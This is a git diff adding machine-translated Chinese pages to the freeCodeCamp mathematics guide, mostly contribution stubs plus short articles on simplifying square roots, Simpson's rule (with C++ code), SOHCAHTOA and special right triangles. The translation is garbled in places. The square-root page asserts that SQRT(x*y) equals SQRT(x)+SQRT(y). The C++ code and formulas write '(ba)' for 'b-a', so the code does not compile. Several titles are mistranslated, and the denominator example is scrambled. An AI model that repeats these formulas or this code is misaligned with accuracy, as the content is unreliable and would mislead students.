+title: Sectors Areas and Arcs
+localeTitle: 扇区和弧
+---
+## 扇区和弧
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sectors-areas-and-arcs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/set-builder-notation/index.md b/client/src/guide/chinese/mathematics/set-builder-notation/index.md
new file mode 100644
index 0000000000..592ae70559
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/set-builder-notation/index.md
@@ -0,0 +1,11 @@
+---
+title: Set Builder Notation
+localeTitle: 设置构建器表示法
+---
+## 设置构建器表示法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/set-builder-notation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/sigma-notation/index.md b/client/src/guide/chinese/mathematics/sigma-notation/index.md
new file mode 100644
index 0000000000..8ce8ffe4ce
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/sigma-notation/index.md
@@ -0,0 +1,11 @@
+---
+title: Sigma Notation
+localeTitle: Sigma表示法
+---
+## Sigma表示法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sigma-notation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/significant-figures/index.md b/client/src/guide/chinese/mathematics/significant-figures/index.md
new file mode 100644
index 0000000000..c77841d811
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/significant-figures/index.md
@@ -0,0 +1,11 @@
+---
+title: Significant Figures
+localeTitle: 重要人物
+---
+## 重要人物
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/significant-figures/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/simplify-fractions/index.md b/client/src/guide/chinese/mathematics/simplify-fractions/index.md
new file mode 100644
index 0000000000..156b6a3884
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/simplify-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplify Fractions
+localeTitle: 简化分数
+---
+## 简化分数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/simplify-fractions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/simplifying-exponent-expressions/index.md b/client/src/guide/chinese/mathematics/simplifying-exponent-expressions/index.md
new file mode 100644
index 0000000000..deb61915fe
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/simplifying-exponent-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplifying Exponent Expressions
+localeTitle: 简化指数表达式
+---
+## 简化指数表达式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/simplifying-exponent-expressions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/simplifying-expressions/index.md b/client/src/guide/chinese/mathematics/simplifying-expressions/index.md
new file mode 100644
index 0000000000..e1b853f947
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/simplifying-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplifying Expressions
+localeTitle: 简化表达式
+---
+## 简化表达式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/simplifying-expressions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/simplifying-radicals/index.md b/client/src/guide/chinese/mathematics/simplifying-radicals/index.md
new file mode 100644
index 0000000000..4bb8d13187
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/simplifying-radicals/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplifying Radicals
+localeTitle: 简化激进派
+---
+## 简化激进派
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/simplifying-radicals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/simplifying-square-roots/index.md b/client/src/guide/chinese/mathematics/simplifying-square-roots/index.md
new file mode 100644
index 0000000000..e92f449b9e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/simplifying-square-roots/index.md
@@ -0,0 +1,27 @@
+---
+title: Simplifying Square Roots
+localeTitle: 简化平方根
+---
+## 简化平方根
+
+简单的激进形式： 假设您拥有激进的SQRT（363），并且您需要将其简化为更好看的数字和可以在特定计算中使用的数字，以通过尝试在激进中找到完美的正方形来实现此目的。
+
+所以，SQRT（x \* y）= SQRT（x）+ SQRT（y）是事实 这个事实使我们能够将SQRT（243）分成几部分
+
+但首先，我们需要找到一个因子363，这将允许我们从中拉出一个完美的正方形。 完美的正方形包括1,4,9,16,25,36,49,64,81,100,121,144 ...因为它们每个都有一个sqare根是一个整数
+
+现在，363的因素是： 1,3,11,33,121和363
+
+如果你看，你可以看到121列在那个列表中，121 _3是363，我们可以改变激进来表明： SQRT（363）= SQRT（121_ 3） = SQRT（121） _SQRT（3） 我们可以取121的平方根，并使其成为一个整数： = 11_平方（3） 那是你的激进。
+
+在分母中简化平方根： 让我们说你有这样的表达：
+
+## 2
+
+SQRT（5） 你想通过从分母中删除激进来简化这一点，你可以通过将这个分数乘以：
+
+## SQRT（5）
+
+SQRT（5） 等于一，你得到： 2 SQRT（5）2 x SQRT（5） ------- x ------- = -----------因为平方根乘以自身是正方形中的数字，分母现在是 SQRT（5）SQRT（5）5整数，不是激进的。激进仍然存在于顶部，但在大多数情况下这很好。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/simpsons-rule/index.md b/client/src/guide/chinese/mathematics/simpsons-rule/index.md
new file mode 100644
index 0000000000..7a9d65802c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/simpsons-rule/index.md
@@ -0,0 +1,117 @@
+---
+title: Simpson's Rule
+localeTitle: 辛普森的规则
+---
+# 辛普森的规则
+
+在数值分析中，辛普森的规则是数值积分的方法_（定积分的数值逼近）_ 。
+
+辛普森的规则近似于形式的整合，
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim1.png)
+
+哪里，
+
+*   `f(x)`称为_被积函数_
+*   `a` =整合的下限
+*   `b` =整合的上限
+
+## 辛普森的1/3规则
+
+![Simpson's Rule](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim01.jpg)
+
+如上图所示，被积函数`f(x)`由二阶多项式近似;二次插值是`P(x)` 。
+
+接近，
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim3.png)
+
+将`(ba)/2`替换为`h` ，我们得到，
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim4.png)
+
+如您所见，上述表达式中有`1/3` 。这就是为什么，它被称为**辛普森的1/3规则** 。
+
+如果某个函数在某些点上具有高度振荡或缺乏导数，则上述规则可能无法产生准确的结果。处理此问题的一种常见方法是将间隔`[a,b]`分解为许多小的子间隔。然后将辛普森的规则应用于每个子区间，将结果相加以产生整个区间内积分的近似值。这种方法被称为_复合辛普森的规则_ 。
+
+假设区间`[a,b]`被分成`n`个子区间， `n`是偶数。然后，复合Simpson的规则给出，
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim7.png)
+
+其中**x j = a + jh** ， **j = 0,1，...，n-1，n，**其中**h =（ba）/ n** ;特别地， **x 0 = a**且**x n = b** 。
+
+#### 例：
+
+**取下面给出的积分值，取n = 8。**
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim9.png)
+
+在C ++中实现Simpson的1/3规则如下：
+
+```cpp
+#include<iostream> 
+ #include<cmath> 
+ using namespace std; 
+ 
+ float f(float x) 
+ { 
+    return x*sin(x);    //Define the function f(x) 
+ } 
+ 
+ float simpson(float a, float b, int n) 
+ { 
+    float h, x[n+1], sum = 0; 
+    int j; 
+    h = (ba)/n; 
+ 
+    x[0] = a; 
+ 
+    for(j=1; j<=n; j++) 
+    { 
+        x[j] = a + h*j; 
+    } 
+ 
+    for(j=1; j<=n/2; j++) 
+    { 
+        sum += f(x[2*j - 2]) + 4*f(x[2*j - 1]) + f(x[2*j]); 
+    } 
+ 
+    return sum*h/3; 
+ } 
+ 
+ int main() 
+ { 
+    float a,b,n; 
+    a = 1;      //Enter lower limit a 
+    b = 4;      //Enter upper limit b 
+    n = 8;      //Enter step-length n 
+    if (n%2 == 0) 
+        cout<<simpson(a,b,n)<<endl; 
+    else 
+        cout<<"n should be an even number"; 
+    return 0; 
+ } 
+```
+
+## 辛普森的3/8规则
+
+辛普森的3/8规则类似于辛普森的1/3规则。唯一的区别在于，这里，插值是一个三次多项式。 3/8规则大约是1/3规则的两倍，但它使用了一个以上的函数值。
+
+辛普森的3/8规则规定：
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim6.png)
+
+将`(ba)/3`替换为`h` ，我们得到，
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim5.png)
+
+对于n个区间，Simpson的3/8规则（n应该是3的倍数）：
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim8.png)
+
+其中**x j = a + jh** ， **j = 0,1，...，n-1，n，**其中**h =（ba）/ n** ;特别地， **x 0 = a**且**x n = b** 。
+
+### 更多信息：
+
+1.  [辛普森的规则](https://en.wikipedia.org/wiki/Simpson%27s_rule)
+2.  [辛普森的1/3规则](w3.gazi.edu.tr/~balbasi/mws_gen_int_txt_simpson13.pdf)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/sine-cosine-tangent/index.md b/client/src/guide/chinese/mathematics/sine-cosine-tangent/index.md
new file mode 100644
index 0000000000..d2b76eea0b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/sine-cosine-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Sine Cosine Tangent
+localeTitle: Sine Cosine Tangent
+---
+## Sine Cosine Tangent
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sine-cosine-tangent/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/slant-oblique-asymptotes/index.md b/client/src/guide/chinese/mathematics/slant-oblique-asymptotes/index.md
new file mode 100644
index 0000000000..f8f2a57db4
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/slant-oblique-asymptotes/index.md
@@ -0,0 +1,11 @@
+---
+title: Slant Oblique Asymptotes
+localeTitle: 斜斜渐近线
+---
+## 斜斜渐近线
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/slant-oblique-asymptotes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/slope-formula/index.md b/client/src/guide/chinese/mathematics/slope-formula/index.md
new file mode 100644
index 0000000000..e5f11d753c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/slope-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Slope Formula
+localeTitle: 坡度公式
+---
+## 坡度公式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/slope-formula/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/sohcahtoa-sine-cosine-tangent/index.md b/client/src/guide/chinese/mathematics/sohcahtoa-sine-cosine-tangent/index.md
new file mode 100644
index 0000000000..ccfb78aa63
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/sohcahtoa-sine-cosine-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Sohcahtoa Sine Cosine Tangent
+localeTitle: Sohcahtoa Sine Cosine Tangent
+---
+## Sohcahtoa Sine Cosine Tangent
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sohcahtoa-sine-cosine-tangent/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/sohcahtoa/index.md b/client/src/guide/chinese/mathematics/sohcahtoa/index.md
new file mode 100644
index 0000000000..0ce337914d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/sohcahtoa/index.md
@@ -0,0 +1,11 @@
+---
+title: Sohcahtoa
+localeTitle: Sohcahtoa
+---
+## Sohcahtoa
+
+Sohcahtoa是一个用于三角函数Sine，Cosine和Tangent的助记符。 Sohcahtoa代表正弦=与斜边相反，余弦=与斜边相邻，而切线=与相邻相反。
+
+#### 更多信息：
+
+[维基百科](https://en.wikipedia.org/wiki/Trigonometric_functions)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-a-system-of-3-equations-and-4-variables-using-matrix-row-echelon-form/index.md b/client/src/guide/chinese/mathematics/solving-a-system-of-3-equations-and-4-variables-using-matrix-row-echelon-form/index.md
new file mode 100644
index 0000000000..3362aceb35
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-a-system-of-3-equations-and-4-variables-using-matrix-row-echelon-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving a System of 3 Equations and 4 Variables Using Matrix Row Echelon Form
+localeTitle: 用矩阵行梯形形式求解3个方程和4个变量的系统
+---
+## 用矩阵行梯形形式求解3个方程和4个变量的系统
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-a-system-of-3-equations-and-4-variables-using-matrix-row-echelon-form/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-absolute-value-equations/index.md b/client/src/guide/chinese/mathematics/solving-absolute-value-equations/index.md
new file mode 100644
index 0000000000..789eb9edd4
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-absolute-value-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Absolute Value Equations
+localeTitle: 求解绝对值方程
+---
+## 求解绝对值方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-absolute-value-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-exponential-equations-from-the-definition/index.md b/client/src/guide/chinese/mathematics/solving-exponential-equations-from-the-definition/index.md
new file mode 100644
index 0000000000..84209fb0d1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-exponential-equations-from-the-definition/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Exponential Equations from the Definition
+localeTitle: 从定义中求解指数方程
+---
+## 从定义中求解指数方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-exponential-equations-from-the-definition/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-exponential-equations-using-logarithms-base-2/index.md b/client/src/guide/chinese/mathematics/solving-exponential-equations-using-logarithms-base-2/index.md
new file mode 100644
index 0000000000..17014b4bdf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-exponential-equations-using-logarithms-base-2/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Exponential Equations Using Logarithms Base 2
+localeTitle: 用对数基2求解指数方程
+---
+## 用对数基2求解指数方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-exponential-equations-using-logarithms-base-2/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-for-a-side-with-the-law-of-cosines/index.md b/client/src/guide/chinese/mathematics/solving-for-a-side-with-the-law-of-cosines/index.md
new file mode 100644
index 0000000000..93a5f6b878
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-for-a-side-with-the-law-of-cosines/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving for a Side with the Law of Cosines
+localeTitle: 用余弦定律求解一个边
+---
+## 用余弦定律求解一个边
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-for-a-side-with-the-law-of-cosines/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-for-a-side-with-the-law-of-sines/index.md b/client/src/guide/chinese/mathematics/solving-for-a-side-with-the-law-of-sines/index.md
new file mode 100644
index 0000000000..17429ad537
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-for-a-side-with-the-law-of-sines/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving for a Side with the Law of Sines
+localeTitle: 用正弦定律求解一个方面
+---
+## 用正弦定律求解一个方面
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-for-a-side-with-the-law-of-sines/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-inequalities/index.md b/client/src/guide/chinese/mathematics/solving-inequalities/index.md
new file mode 100644
index 0000000000..697f6b309d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Inequalities
+localeTitle: 解决不平等
+---
+## 解决不平等
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-inequalities/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-linear-equations-one-step-equations/index.md b/client/src/guide/chinese/mathematics/solving-linear-equations-one-step-equations/index.md
new file mode 100644
index 0000000000..307d84b305
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-linear-equations-one-step-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Linear Equations One Step Equations
+localeTitle: 求解线性方程的一步方程
+---
+## 求解线性方程的一步方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-linear-equations-one-step-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-log-equations-from-the-definition/index.md b/client/src/guide/chinese/mathematics/solving-log-equations-from-the-definition/index.md
new file mode 100644
index 0000000000..eb83d3e32b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-log-equations-from-the-definition/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Log Equations from the Definition
+localeTitle: 从定义中求解Log方程
+---
+## 从定义中求解Log方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-log-equations-from-the-definition/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-log-equations-with-exponentials/index.md b/client/src/guide/chinese/mathematics/solving-log-equations-with-exponentials/index.md
new file mode 100644
index 0000000000..22f01241f2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-log-equations-with-exponentials/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Log Equations with Exponentials
+localeTitle: 用指数求解对数方程
+---
+## 用指数求解对数方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-log-equations-with-exponentials/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-quadratic-equations-by-factoring/index.md b/client/src/guide/chinese/mathematics/solving-quadratic-equations-by-factoring/index.md
new file mode 100644
index 0000000000..166c1ef412
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-quadratic-equations-by-factoring/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Quadratic Equations by Factoring
+localeTitle: 用因子分解求二次方程
+---
+## 用因子分解求二次方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-quadratic-equations-by-factoring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-quadratics-by-factoring/index.md b/client/src/guide/chinese/mathematics/solving-quadratics-by-factoring/index.md
new file mode 100644
index 0000000000..d03fcd4acd
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-quadratics-by-factoring/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Quadratics by Factoring
+localeTitle: 通过保理解决Quadratics
+---
+## 通过保理解决Quadratics
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-quadratics-by-factoring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-sas-triangles/index.md b/client/src/guide/chinese/mathematics/solving-sas-triangles/index.md
new file mode 100644
index 0000000000..71c8a34e16
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-sas-triangles/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Sas Triangles
+localeTitle: 解决Sas三角形
+---
+## 解决Sas三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-sas-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-systems-of-equations-by-elimination/index.md b/client/src/guide/chinese/mathematics/solving-systems-of-equations-by-elimination/index.md
new file mode 100644
index 0000000000..1a85ef3ea4
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-systems-of-equations-by-elimination/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Systems of Equations by Elimination
+localeTitle: 通过消除求解方程组
+---
+## 通过消除求解方程组
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-systems-of-equations-by-elimination/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/solving-triangles/index.md b/client/src/guide/chinese/mathematics/solving-triangles/index.md
new file mode 100644
index 0000000000..554271da8b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/solving-triangles/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Triangles
+localeTitle: 解决三角形
+---
+## 解决三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/span/index.md b/client/src/guide/chinese/mathematics/span/index.md
new file mode 100644
index 0000000000..c0033eab8a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/span/index.md
@@ -0,0 +1,11 @@
+---
+title: Span
+localeTitle: 跨度
+---
+## 跨度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/span/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/special-factoring-differences-of-squares/index.md b/client/src/guide/chinese/mathematics/special-factoring-differences-of-squares/index.md
new file mode 100644
index 0000000000..4c477dd4f3
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/special-factoring-differences-of-squares/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Factoring Differences of Squares
+localeTitle: 广场的特殊保理差异
+---
+## 广场的特殊保理差异
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/special-factoring-differences-of-squares/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/special-factoring-sums-and-differences-of-cubes-and-perfect-squares/index.md b/client/src/guide/chinese/mathematics/special-factoring-sums-and-differences-of-cubes-and-perfect-squares/index.md
new file mode 100644
index 0000000000..d502f7177b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/special-factoring-sums-and-differences-of-cubes-and-perfect-squares/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Factoring Sums and Differences of Cubes and Perfect Squares
+localeTitle: 多维数据集和完美正方形的特殊因子和差异
+---
+## 多维数据集和完美正方形的特殊因子和差异
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/special-factoring-sums-and-differences-of-cubes-and-perfect-squares/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/special-right-triangles-intro/index.md b/client/src/guide/chinese/mathematics/special-right-triangles-intro/index.md
new file mode 100644
index 0000000000..53f86c3ea0
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/special-right-triangles-intro/index.md
@@ -0,0 +1,21 @@
+---
+title: Special Right Triangles Intro
+localeTitle: 特别右三角形介绍
+---
+## 特别右三角形介绍
+
+特殊直角三角形是一种直角三角形，其中两个非直角共享一种特殊的关系。
+
+有两种类型的特殊直角三角形：45-45-90和30-60-90。
+
+## 45-45-90
+
+这种类型的三角形具有90 度的一个角度，以及每个45°的两个角度。这导致三角形的边有这种特殊的关系：
+
+![45-45-90边关系](https://github.com/Zoonn123/resources/blob/master/45-45-90hacktoberfestedit.png)
+
+## 30-60-90
+
+这种类型的三角形具有90 度的一个角度，的60°一个角度，和30°一个角度。这导致三角形的边有这种特殊的关系：
+
+![30-60-90边的关系](https://github.com/Zoonn123/resources/blob/master/30-60-90hacktoberfestedit.png)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/sphere/index.md b/client/src/guide/chinese/mathematics/sphere/index.md
new file mode 100644
index 0000000000..d0b26cf04e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/sphere/index.md
@@ -0,0 +1,11 @@
+---
+title: Sphere
+localeTitle: 球
+---
+## 领域
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sphere/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/spherical-coordinates/index.md b/client/src/guide/chinese/mathematics/spherical-coordinates/index.md
new file mode 100644
index 0000000000..771e5440f6
--- /dev/null
